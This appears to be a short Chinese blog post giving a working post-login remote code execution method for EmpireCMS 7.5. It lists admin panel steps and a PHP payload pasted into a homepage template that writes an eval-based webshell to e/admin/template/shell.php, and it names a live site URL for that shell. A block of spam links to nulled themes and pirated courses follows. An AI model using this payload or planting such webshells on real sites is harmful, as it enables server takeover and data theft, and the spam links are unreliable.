引用的 帝国(EmpireCMS)7.5的两个后台RCE审计 但此文章内的payload提交会提示500。

亲测:后台–模板–首页模板–管理首页方案–(右侧)增加首页方案–在“模板内容”填入以下不会提示500的代码–提交保存–回到“管理首页方案”–启动此方案。(此时访问首页是空白)

<?php
file_put_contents(‘shell.php’,'<?php eval($_POST[shell]); ?>’)
?>

访问网站首页是空白,然后在e/admin/template/路劲下生成个shell.php一句话,一句话完整路劲http://safeing.org/e/admin/template/shell.php

Download WordPress Themes
Download Nulled WordPress Themes
Download WordPress Themes
Free Download WordPress Themes
udemy course download free
download coolpad firmware
Download WordPress Themes Free
download udemy paid course for free

共有 0 条评论